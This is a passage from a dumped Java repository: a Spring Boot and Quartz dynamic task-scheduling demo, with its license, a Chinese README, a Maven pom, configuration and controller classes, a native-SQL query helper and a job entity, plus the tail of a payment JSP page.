{\n\t\t            //接口调用失败时执行的回调函数。\n\t\t       alert(\"接口调用失败\");\n\t\t    },complete: function(res) {\n\t\t            //接口调用完成时执行的回调函数，无论成功或失败都会执行。\n\t\t    },cancel: function(res) {\n\t\t            //用户点击取消时的回调函数，仅部分有用户取消操作的api才会用到。\n\t\t       alert(\"用户取消支付\");\n\t\t    },trigger: function(res) {\n\t\t            //监听Menu中的按钮点击时触发的方法，该方法仅支持Menu中的相关接口。\n\t\t    }\n\t\t\t});\n\t}\n</script>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/webapp/WEB-INF/web.xml",
    "content": "<!DOCTYPE web-app PUBLIC\n \"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN\"\n \"http://java.sun.com/dtd/web-app_2_3.dtd\" >\n\n<web-app>\n  <display-name>Archetype Created Web Application</display-name>\n</web-app>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/webapp/index.jsp",
    "content": "<html>\n<body>\n<h2>Hello World!</h2>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/webapp/view/test.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/LICENSE",
    "content": "Apache License\nVersion 2.0, January 2004\nhttp://www.apache.org/licenses/\n\nTERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n1. Definitions.\n\n\"License\" shall mean the terms and conditions for use, reproduction, and\ndistribution as defined by Sections 1 through 9 of this document.\n\n\"Licensor\" shall mean the copyright owner or entity authorized by the copyright\nowner that is granting the License.\n\n\"Legal Entity\" shall mean the union of the acting entity and all other entities\nthat control, are controlled by, or are under common control with that entity.\nFor the purposes of this definition, \"control\" means (i) the power, direct or\nindirect, to cause the direction or management of such entity, whether by\ncontract or otherwise, or (ii) ownership of fifty percent (50%) or more of the\noutstanding shares, or (iii) beneficial ownership of such entity.\n\n\"You\" (or \"Your\") shall mean an individual or Legal Entity exercising\npermissions granted by this License.\n\n\"Source\" form shall mean the preferred form for making modifications, including\nbut not limited to software source code, documentation source, and configuration\nfiles.\n\n\"Object\" form shall mean any form resulting from mechanical transformation or\ntranslation of a Source form, including but not limited to compiled object code,\ngenerated documentation, and conversions to other media types.\n\n\"Work\" shall mean the work of authorship, whether in Source or Object form, made\navailable under the License, as indicated by a copyright notice that is included\nin or attached to the work (an example is provided in the Appendix below).\n\n\"Derivative Works\" shall mean any work, whether in Source or Object form, that\nis based on (or derived from) the Work and for which the editorial revisions,\nannotations, elaborations, or other modifications represent, as a whole, an\noriginal work of authorship. For the purposes of this License, Derivative Works\nshall not include works that remain separable from, or merely link (or bind by\nname) to the interfaces of, the Work and Derivative Works thereof.\n\n\"Contribution\" shall mean any work of authorship, including the original version\nof the Work and any modifications or additions to that Work or Derivative Works\nthereof, that is intentionally submitted to Licensor for inclusion in the Work\nby the copyright owner or by an individual or Legal Entity authorized to submit\non behalf of the copyright owner. For the purposes of this definition,\n\"submitted\" means any form of electronic, verbal, or written communication sent\nto the Licensor or its representatives, including but not limited to\ncommunication on electronic mailing lists, source code control systems, and\nissue tracking systems that are managed by, or on behalf of, the Licensor for\nthe purpose of discussing and improving the Work, but excluding communication\nthat is conspicuously marked or otherwise designated in writing by the copyright\nowner as \"Not a Contribution.\"\n\n\"Contributor\" shall mean Licensor and any individual or Legal Entity on behalf\nof whom a Contribution has been received by Licensor and subsequently\nincorporated within the Work.\n\n2. Grant of Copyright License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable copyright license to reproduce, prepare Derivative Works of,\npublicly display, publicly perform, sublicense, and distribute the Work and such\nDerivative Works in Source or Object form.\n\n3. Grant of Patent License.\n\nSubject to the terms and conditions of this License, each Contributor hereby\ngrants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free,\nirrevocable (except as stated in this section) patent license to make, have\nmade, use, offer to sell, sell, import, and otherwise transfer the Work, where\nsuch license applies only to those patent claims licensable by such Contributor\nthat are necessarily infringed by their Contribution(s) alone or by combination\nof their Contribution(s) with the Work to which such Contribution(s) was\nsubmitted. If You institute patent litigation against any entity (including a\ncross-claim or counterclaim in a lawsuit) alleging that the Work or a\nContribution incorporated within the Work constitutes direct or contributory\npatent infringement, then any patent licenses granted to You under this License\nfor that Work shall terminate as of the date such litigation is filed.\n\n4. Redistribution.\n\nYou may reproduce and distribute copies of the Work or Derivative Works thereof\nin any medium, with or without modifications, and in Source or Object form,\nprovided that You meet the following conditions:\n\nYou must give any other recipients of the Work or Derivative Works a copy of\nthis License; and\nYou must cause any modified files to carry prominent notices stating that You\nchanged the files; and\nYou must retain, in the Source form of any Derivative Works that You distribute,\nall copyright, patent, trademark, and attribution notices from the Source form\nof the Work, excluding those notices that do not pertain to any part of the\nDerivative Works; and\nIf the Work includes a \"NOTICE\" text file as part of its distribution, then any\nDerivative Works that You distribute must include a readable copy of the\nattribution notices contained within such NOTICE file, excluding those notices\nthat do not pertain to any part of the Derivative Works, in at least one of the\nfollowing places: within a NOTICE text file distributed as part of the\nDerivative Works; within the Source form or documentation, if provided along\nwith the Derivative Works; or, within a display generated by the Derivative\nWorks, if and wherever such third-party notices normally appear. The contents of\nthe NOTICE file are for informational purposes only and do not modify the\nLicense. You may add Your own attribution notices within Derivative Works that\nYou distribute, alongside or as an addendum to the NOTICE text from the Work,\nprovided that such additional attribution notices cannot be construed as\nmodifying the License.\nYou may add Your own copyright statement to Your modifications and may provide\nadditional or different license terms and conditions for use, reproduction, or\ndistribution of Your modifications, or for any such Derivative Works as a whole,\nprovided Your use, reproduction, and distribution of the Work otherwise complies\nwith the conditions stated in this License.\n\n5. Submission of Contributions.\n\nUnless You explicitly state otherwise, any Contribution intentionally submitted\nfor inclusion in the Work by You to the Licensor shall be under the terms and\nconditions of this License, without any additional terms or conditions.\nNotwithstanding the above, nothing herein shall supersede or modify the terms of\nany separate license agreement you may have executed with Licensor regarding\nsuch Contributions.\n\n6. Trademarks.\n\nThis License does not grant permission to use the trade names, trademarks,\nservice marks, or product names of the Licensor, except as required for\nreasonable and customary use in describing the origin of the Work and\nreproducing the content of the NOTICE file.\n\n7. Disclaimer of Warranty.\n\nUnless required by applicable law or agreed to in writing, Licensor provides the\nWork (and each Contributor provides its Contributions) on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied,\nincluding, without limitation, any warranties or conditions of TITLE,\nNON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are\nsolely responsible for determining the appropriateness of using or\nredistributing the Work and assume any risks associated with Your exercise of\npermissions under this License.\n\n8. Limitation of Liability.\n\nIn no event and under no legal theory, whether in tort (including negligence),\ncontract, or otherwise, unless required by applicable law (such as deliberate\nand grossly negligent acts) or agreed to in writing, shall any Contributor be\nliable to You for damages, including any direct, indirect, special, incidental,\nor consequential damages of any character arising as a result of this License or\nout of the use or inability to use the Work (including but not limited to\ndamages for loss of goodwill, work stoppage, computer failure or malfunction, or\nany and all other commercial damages or losses), even if such Contributor has\nbeen advised of the possibility of such damages.\n\n9. Accepting Warranty or Additional Liability.\n\nWhile redistributing the Work or Derivative Works thereof, You may choose to\noffer, and charge a fee for, acceptance of support, warranty, indemnity, or\nother liability obligations and/or rights consistent with this License. However,\nin accepting such obligations, You may act only on Your own behalf and on Your\nsole responsibility, not on behalf of any other Contributor, and only if You\nagree to indemnify, defend, and hold each Contributor harmless for any liability\nincurred by, or claims asserted against, such Contributor by reason of your\naccepting any such warranty or additional liability.\n\nEND OF TERMS AND CONDITIONS\n\nAPPENDIX: How to apply the Apache License to your work\n\nTo apply the Apache License to your work, attach the following boilerplate\nnotice, with the fields enclosed by brackets \"{}\" replaced with your own\nidentifying information. (Don't include the brackets!) The text should be\nenclosed in the appropriate comment syntax for the file format. We also\nrecommend that a file or class name and description of purpose be included on\nthe same \"printed page\" as the copyright notice for easier identification within\nthird-party archives.\n\n   Copyright 2018 小柒2012\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n     http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License."
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/README.md",
    "content": "# spring-boot-quartz\n\n基于spring-boot+quartz的CRUD动态任务管理系统，适用于中小项目。\n\n\n :neckbeard: 建议使用基于spring-boot 2.x +quartz 的CRUD任务管理系统 ：https://gitee.com/52itstyle/spring-boot-task\n\n\n## 几种任务调度\n\n- Timer，简单无门槛，一般也没人用。\n\n- spring @Scheduled注解，一般集成于项目中，小任务很方便。\n\n- 开源工具 Quartz，分布式集群开源工具，以下两个分布式任务应该都是基于Quartz实现的，可以说是中小型公司必选，当然也视自身需求而定。\n\n- 分布式任务 XXL-JOB，是一个轻量级分布式任务调度框架，支持通过 Web 页面对任务进行 CRUD 操作，支持动态修改任务状态、暂停/恢复任务，以及终止运行中任务，支持在线配置调度任务入参和在线查看调度结果。\n\n- 分布式任务 Elastic-Job，是一个分布式调度解决方案，由两个相互独立的子项目 Elastic-Job-Lite 和 Elastic-Job-Cloud 组成。定位为轻量级无中心化解决方案，使用 jar 包的形式提供分布式任务的协调服务。支持分布式调度协调、弹性扩容缩容、失效转移、错过执行作业重触发、并行调度、自诊。\n\n- 分布式任务 Saturn，Saturn是唯品会在github开源的一款分布式任务调度产品。它是基于当当elastic-job来开发的，其上完善了一些功能和添加了一些新的feature。目前在github上开源大半年，470个star。Saturn的任务可以用多种语言开发比如python、Go、Shell、Java、Php。其在唯品会内部已经发部署350+个节点，每天任务调度4000多万次。同时，管理和统计也是它的亮点。\n\n\n## 开发环境\n\nJDK1.7、Maven、Eclipse\n\n## 技术栈\n\nSpringBoot1.5.2、thymeleaf、quartz2.3.0、iview、vue、layer、AdminLTE、bootstrap\n\n## 启动说明\n- 项目使用的数据库为MySql，选择resources/sql中的tables_mysql_innodb.sql文件初始化数据库信息。\n- 在resources/application.properties 以及quartz.properties文件中替换为自己的数据源。\n- 运行Application main方法，启动项目，项目启动会初始化一个定时任务，见：\n\n```\nhttps://gitee.com/52itstyle/spring-boot-quartz/blob/master/src/main/java/com/itstyle/quartz/config/TaskRunner.java\n```\n\n- 项目访问地址：http://localhost:8080/quartz\n\n## 友情提示\n由于工作原因，项目正在完善中（仅供参考），随时更新日志。\n\n## 项目截图\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181340_cfbf6c90_87650.png \"1.png\")\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181347_8b91b864_87650.png \"2.png\")\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181352_cfcdce10_87650.png \"3.png\")\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181357_e41c9cd9_87650.png \"4.png\")\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181403_b82f6edd_87650.png \"5.png\")\n\n![输入图片说明](https://gitee.com/uploads/images/2018/0331/181409_b5623f27_87650.png \"6.png\")\n\n![表达式生成器](https://gitee.com/uploads/images/2018/0402/180033_437a1186_87650.png \"7.png\")\n\n## 已实现功能\n\n- 任务列表\n- 任务新增和修改\n- 任务执行\n- 表达式生成器(集成：https://gitee.com/finira/cronboot)\n- 任务移除\n- Job中注入service为空的问题\n- 系统启动，如果数据库任务为零则初始化测试任务，用于测试\n\n## 待集成功能\n\n- 系统登录以及权限管理\n- 任务停止和开启\n- 任务列表搜索以及分页\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <groupId>com.itstyle.quartz</groupId>\n  <artifactId>springboot_quartz</artifactId>\n  <packaging>jar</packaging>\n  <version>1.0</version>\n\n   <properties>\n     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n     <docker.image.prefix>springboot</docker.image.prefix>\n  </properties>\n   <!-- spring-boot-starter-parent包含了大量配置好的依赖管理，在自己项目添加这些依赖的时候不需要写<version>版本号 -->\n  <parent>\n\t    <groupId>org.springframework.boot</groupId>\n\t    <artifactId>spring-boot-starter-parent</artifactId>\n\t    <version>1.5.10.RELEASE</version>\n\t    <relativePath/>\n  </parent>\n  <dependencies>\n        <!-- 实现web功能 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<!-- 模版 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-thymeleaf</artifactId>\n\t\t</dependency>\n\t\t <dependency>\n\t\t\t<groupId>net.sourceforge.nekohtml</groupId>\n\t\t\t<artifactId>nekohtml</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-jpa</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t</dependency>\n\t\t<dependency>  \n            <groupId>org.quartz-scheduler</groupId>  \n            <artifactId>quartz</artifactId>  \n            <version>2.3.0</version>  \n            <exclusions>  \n                <exclusion>  \n                    <artifactId>slf4j-api</artifactId>  \n                    <groupId>org.slf4j</groupId>  \n                </exclusion>\n                <exclusion>  \n                    <artifactId>HikariCP-java6</artifactId>  \n                    <groupId>com.zaxxer</groupId>  \n                </exclusion>\n            </exclusions>  \n        </dependency>  \n        <dependency>\n             <groupId>org.springframework</groupId>  \n             <artifactId>spring-context-support</artifactId>  \n        </dependency>\n        <dependency>\n          <groupId>org.projectlombok</groupId>\n          <artifactId>lombok</artifactId>\n            <version>1.18.20</version> <!-- 1.8.x 最佳兼容版本 -->\n        </dependency>\n  </dependencies>\n  <build>\n        <finalName>spring-boot-quartz</finalName>\n\t\t<plugins>\n\t\t    <!-- 打包项目 mvn clean package -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t     <dependencies>\n\t\t\t\t   <!--  mvn spring-boot:run 热部署启动 -->\n                    <dependency>\n                        <groupId>org.springframework</groupId>\n                        <artifactId>springloaded</artifactId>\n                        <version>1.2.7.RELEASE</version>\n                    </dependency>\n                </dependencies>\n\t\t\t</plugin>\n\t\t\t<!-- docker部署 -->\n<!--\t\t\t<plugin>-->\n<!--                <groupId>com.spotify</groupId>-->\n<!--                <artifactId>docker-maven-plugin</artifactId>-->\n<!--                <version>0.4.11</version>-->\n<!--                <configuration>-->\n<!--                    <imageName>${docker.image.prefix}/${project.artifactId}</imageName>-->\n<!--                    <dockerDirectory>src/main/docker</dockerDirectory>-->\n<!--                    <resources>-->\n<!--                        <resource>-->\n<!--                            <targetPath>/</targetPath>-->\n<!--                            <directory>${project.build.directory}</directory>-->\n<!--                            <include>${project.build.finalName}.jar</include>-->\n<!--                        </resource>-->\n<!--                    </resources>-->\n<!--                </configuration>-->\n<!--            </plugin>-->\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/Application.java",
    "content": "package com.itstyle.quartz;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n/**\n * 启动类\n * 创建者 爪哇笔记\n * 创建时间\t2018年3月28日\n * API接口测试：http://localhost:8080/quartz/swagger-ui.html\n */\n@SpringBootApplication\npublic class Application {\n\tprivate static final Logger logger = Logger.getLogger(Application.class);\n\t\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(Application.class, args);\n\t\tlogger.info(\"项目启动 \");\n\t}\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/config/IndexController.java",
    "content": "package com.itstyle.quartz.config;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\n/**\n * 通用访问拦截匹配\n * 创建者 爪哇笔记\n * 创建时间\t2018年4月3日\n */\n@Controller\npublic class IndexController {\n\t\n\t/**\n\t * 页面跳转\n\t * @param url\n\t * @return\n\t */\n\t@RequestMapping(\"{url}.shtml\")\n\tpublic String page(@PathVariable(\"url\") String url) {\n\t\treturn  url;\n\t}\n\t/**\n\t * 页面跳转(二级目录)\n\t * @param module\n\t * @param url\n\t * @param url\n\t * @return\n\t */\n\t@RequestMapping(\"{module}/{url}.shtml\")\n\tpublic String page(@PathVariable(\"module\") String module,@PathVariable(\"url\") String url) {\n\t\treturn module + \"/\" + url;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/config/SchedulerConfig.java",
    "content": "package com.itstyle.quartz.config;\nimport java.io.IOException;\nimport java.util.Properties;\n\nimport org.quartz.Scheduler;\nimport org.quartz.ee.servlet.QuartzInitializerListener;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.config.PropertiesFactoryBean;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.core.io.ClassPathResource;\nimport org.springframework.scheduling.quartz.SchedulerFactoryBean;\n/**\n * quartz配置\n * 创建者 爪哇笔记\n * 创建时间\t2018年4月3日\n */\n@Configuration\npublic class SchedulerConfig {\n\t\n\t@Autowired\n\tprivate SpringJobFactory springJobFactory;\n\t\n    @Bean(name=\"SchedulerFactory\")\n    public SchedulerFactoryBean schedulerFactoryBean() throws IOException {\n        SchedulerFactoryBean factory = new SchedulerFactoryBean();\n        factory.setAutoStartup(true);\n        factory.setStartupDelay(5);//延时5秒启动\n        factory.setQuartzProperties(quartzProperties());\n        factory.setJobFactory(springJobFactory);  \n        return factory;\n    }\n\n    @Bean\n    public Properties quartzProperties() throws IOException {\n        PropertiesFactoryBean propertiesFactoryBean = new PropertiesFactoryBean();\n        propertiesFactoryBean.setLocation(new ClassPathResource(\"/quartz.properties\"));\n        propertiesFactoryBean.afterPropertiesSet();\n        return propertiesFactoryBean.getObject();\n    }\n\n    /*\n     * quartz初始化监听器\n     */\n    @Bean\n    public QuartzInitializerListener executorListener() {\n       return new QuartzInitializerListener();\n    }\n\n    /*\n     * 通过SchedulerFactoryBean获取Scheduler的实例\n     */\n    @Bean(name=\"Scheduler\")\n    public Scheduler scheduler() throws IOException {\n        return schedulerFactoryBean().getScheduler();\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/config/SpringJobFactory.java",
    "content": "package com.itstyle.quartz.config;\n\nimport org.quartz.spi.TriggerFiredBundle;  \nimport org.springframework.beans.factory.annotation.Autowired;  \nimport org.springframework.beans.factory.config.AutowireCapableBeanFactory;  \nimport org.springframework.scheduling.quartz.AdaptableJobFactory;  \nimport org.springframework.stereotype.Component;\n/**\n * 解决spring bean注入Job的问题\n */\n@Component  \npublic class SpringJobFactory extends AdaptableJobFactory  {       \n    @Autowired    \n    private AutowireCapableBeanFactory capableBeanFactory;    \n    \n    @Override    \n    protected Object createJobInstance(TriggerFiredBundle bundle) throws Exception {    \n        // 调用父类的方法    \n        Object jobInstance = super.createJobInstance(bundle);    \n        // 进行注入    \n        capableBeanFactory.autowireBean(jobInstance);    \n        return jobInstance;    \n    }    \n}  "
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/config/TaskRunner.java",
    "content": "package com.itstyle.quartz.config;\n\nimport org.quartz.CronScheduleBuilder;\nimport org.quartz.JobBuilder;\nimport org.quartz.JobDetail;\nimport org.quartz.Scheduler;\nimport org.quartz.Trigger;\nimport org.quartz.TriggerBuilder;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Qualifier;\nimport org.springframework.boot.ApplicationArguments;\nimport org.springframework.boot.ApplicationRunner;\nimport org.springframework.stereotype.Component;\n\nimport com.itstyle.quartz.entity.QuartzEntity;\nimport com.itstyle.quartz.service.IJobService;\n/**\n * 初始化一个测试Demo任务\n * 创建者 爪哇笔记\n * 创建时间\t2018年4月3日\n */\n@Component\npublic class TaskRunner implements ApplicationRunner{\n    \n\tprivate final static Logger LOGGER = LoggerFactory.getLogger(TaskRunner.class);\n\t\n\t@Autowired\n    private IJobService jobService;\n\t@Autowired @Qualifier(\"Scheduler\")\n    private Scheduler scheduler;\n\t\n    @Override\n    public void run(ApplicationArguments var) throws Exception{\n        /**\n         * 系统启动的时候会初始化一个任务\n         */\n    \tLong count = jobService.listQuartzEntity(null);\n    \tif(count==0){\n    \t\tLOGGER.info(\"初始化测试任务\");\n    \t\tQuartzEntity quartz = new QuartzEntity();\n    \t\tquartz.setJobName(\"test01\");\n    \t\tquartz.setJobGroup(\"test\");\n    \t\tquartz.setDescription(\"测试任务\");\n    \t\tquartz.setJobClassName(\"com.itstyle.quartz.job.ChickenJob\");\n    \t\tquartz.setCronExpression(\"*/5 * * * * ?\");\n            quartz.setJobMethodName(\"test1\");\n   \t        Class cls = Class.forName(quartz.getJobClassName()) ;\n   \t        cls.newInstance();\n   \t        //构建job信息\n   \t        JobDetail job = JobBuilder.newJob(cls).withIdentity(quartz.getJobName(),\n   \t        \t\tquartz.getJobGroup())\n   \t        \t\t.withDescription(quartz.getDescription()).build();\n            job.getJobDataMap().put(\"jobMethodName\", \"test1\");\n            // 触发时间点\n   \t        CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder.cronSchedule(quartz.getCronExpression());\n   \t        Trigger trigger = TriggerBuilder.newTrigger().withIdentity(\"trigger\"+quartz.getJobName(), quartz.getJobGroup())\n   \t                .startNow().withSchedule(cronScheduleBuilder).build();\t\n   \t        //交由Scheduler安排触发\n   \t        scheduler.scheduleJob(job, trigger);\n    \t}\n    }\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/dynamicquery/DynamicQuery.java",
    "content": "package com.itstyle.quartz.dynamicquery;\nimport java.util.List;\n/**\n * 扩展SpringDataJpa, 支持动态jpql/nativesql查询并支持分页查询\n * 使用方法：注入ServiceImpl\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\npublic interface DynamicQuery {\n\n\t void save(Object entity);\n\n\t void update(Object entity);\n\n\t <T> void delete(Class<T> entityClass, Object entityid);\n\n\t <T> void delete(Class<T> entityClass, Object[] entityids);\n\t\n\t /**\n     * 查询对象列表，返回List\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryList(String nativeSql, Object... params);\n\t\n\t /**\n     * 查询对象列表，返回List<Map<key,value>>\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryListMap(String nativeSql,Object... params);\n\n\t /**\n     * 查询对象列表，返回List<组合对象>\n     * @param resultClass\n     * @param nativeSql\n     * @param params\n     * @return  List<T>\n     * @Date\t2018年3月15日\n     * 更新日志\n     * 2018年3月15日  张志朋  首次创建\n     *\n     */\n\t<T> List<T> nativeQueryListModel(Class<T> resultClass, String nativeSql, Object... params);\n\t\n\t/**\n\t * 执行nativeSql统计查询\n\t * @param nativeSql\n\t * @param params 占位符参数(例如?1)绑定的参数值\n\t * @return 统计条数\n\t */\n\tLong nativeQueryCount(String nativeSql, Object... params);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/dynamicquery/DynamicQueryImpl.java",
    "content": "package com.itstyle.quartz.dynamicquery;\nimport java.util.List;\n\nimport javax.persistence.EntityManager;\nimport javax.persistence.PersistenceContext;\nimport javax.persistence.Query;\n\nimport org.hibernate.SQLQuery;\nimport org.hibernate.transform.Transformers;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Repository;\n/**\n * 动态jpql/nativesql查询的实现类\n * 创建者 张志朋\n * 创建时间\t2018年3月8日\n */\n@Repository\npublic class DynamicQueryImpl implements DynamicQuery {\n\n\tLogger logger = LoggerFactory.getLogger(DynamicQueryImpl.class);\n\n\t@PersistenceContext\n\tprivate EntityManager em;\n\n\tpublic EntityManager getEntityManager() {\n\t\treturn em;\n\t}\n\n\t@Override\n\tpublic void save(Object entity) {\n\t\tem.persist(entity);\n\t}\n\n\t@Override\n\tpublic void update(Object entity) {\n\t\tem.merge(entity);\n\t}\n\n\t@Override\n\tpublic <T> void delete(Class<T> entityClass, Object entityid) {\n\t\tdelete(entityClass, new Object[] { entityid });\n\t}\n\n\t@Override\n\tpublic <T> void delete(Class<T> entityClass, Object[] entityids) {\n\t\tfor (Object id : entityids) {\n\t\t\tem.remove(em.getReference(entityClass, id));\n\t\t}\n\t}\n\tprivate Query createNativeQuery(String sql, Object... params) {\n\t\tQuery q = em.createNativeQuery(sql);\n\t\tif (params != null && params.length > 0) {\n\t\t\tfor (int i = 0; i < params.length; i++) {\n\t\t\t\tq.setParameter(i + 1, params[i]); // 与Hiberante不同,jpa\n\t\t\t\t\t\t\t\t\t\t\t\t\t// query从位置1开始\n\t\t\t}\n\t\t}\n\t\treturn q;\n\t}\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryList(String nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.TO_LIST);\n\t\treturn q.getResultList();\n\t}\n\t\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryListModel(Class<T> resultClass,\n\t\t\tString nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);;\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.aliasToBean(resultClass));\n\t\treturn q.getResultList();\n\t}\n\n\t@SuppressWarnings(\"unchecked\")\n\t@Override\n\tpublic <T> List<T> nativeQueryListMap(String nativeSql, Object... params) {\n\t\tQuery q = createNativeQuery(nativeSql, params);\n\t\tq.unwrap(SQLQuery.class).setResultTransformer(Transformers.ALIAS_TO_ENTITY_MAP);\n\t\treturn q.getResultList();\n\t}\n\t\n\t@Override\n\tpublic Long nativeQueryCount(String nativeSql, Object... params) {\n\t\tObject count = createNativeQuery(nativeSql, params).getSingleResult();\n\t\treturn ((Number) count).longValue();\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/dynamicquery/NativeQueryResultEntity.java",
    "content": "package com.itstyle.quartz.dynamicquery;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface NativeQueryResultEntity {\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/entity/QuartzEntity.java",
    "content": "package com.itstyle.quartz.entity;\n\nimport lombok.Data;\n\n/**\n * 任务类\n * 创建者\t张志朋\n * 创建时间\t2018年3月28日\n */\n@Data\npublic class QuartzEntity{\n\t\n\tprivate String jobName;//任务名称\n\tprivate String jobGroup;//任务分组\n\tprivate String description;//任务描述\n\tprivate String jobClassName;//执行类\n    private String jobMethodName;//执行方法\n\tprivate String cronExpression;//执行时间\n\tprivate String triggerName;//执行时间\n\tprivate String triggerState;//任务状态\n\t\n\tprivate String oldJobName;//任务名称 用于修改\n\tprivate String oldJobGroup;//任务分组 用于修改\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_quartz/src/main/java/com/itstyle/quartz/entity/Result.java",
